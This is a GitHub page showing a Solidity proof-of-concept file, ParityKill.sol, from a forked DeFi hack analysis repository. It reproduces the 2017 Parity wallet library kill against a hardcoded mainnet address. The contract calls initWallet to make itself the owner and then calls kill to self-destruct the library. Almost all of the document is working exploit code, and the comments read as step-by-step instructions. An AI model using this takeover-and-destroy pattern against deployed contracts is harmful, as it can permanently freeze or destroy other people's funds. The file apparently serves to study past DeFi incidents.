forked from abdulsamijay/Defi-Hack-Analysis-POC
-
Notifications
You must be signed in to change notification settings - Fork 0
/
ParityKill.sol
36 lines (27 loc) · 1009 Bytes
/
ParityKill.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity 0.8.13;
import "forge-std/Test.sol";
interface IParity {
function isOwner(address _addr) external view returns (bool);
function kill(address _to) external;
function initWallet(
address[] memory _owners,
uint256 _required,
uint256 _daylimit
) external;
}
contract ParityKill {
address PARITY_ADDRESS = 0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4;
IParity parity = IParity(PARITY_ADDRESS);
function killContractByAccident() external {
// Make sure this contract is not the owner of parity wallet!
assert(!parity.isOwner(address(this)));
// Make yourself owner the owner of the wallet!
address[] memory owners = new address[](1);
owners[0] = address(this);
parity.initWallet(owners, 0, 0);
// Make sure you have become the owner!
assert(parity.isOwner(address(this)));
// You are the owner now. What do ou do ? Kill it.
parity.kill(address(this));
}
}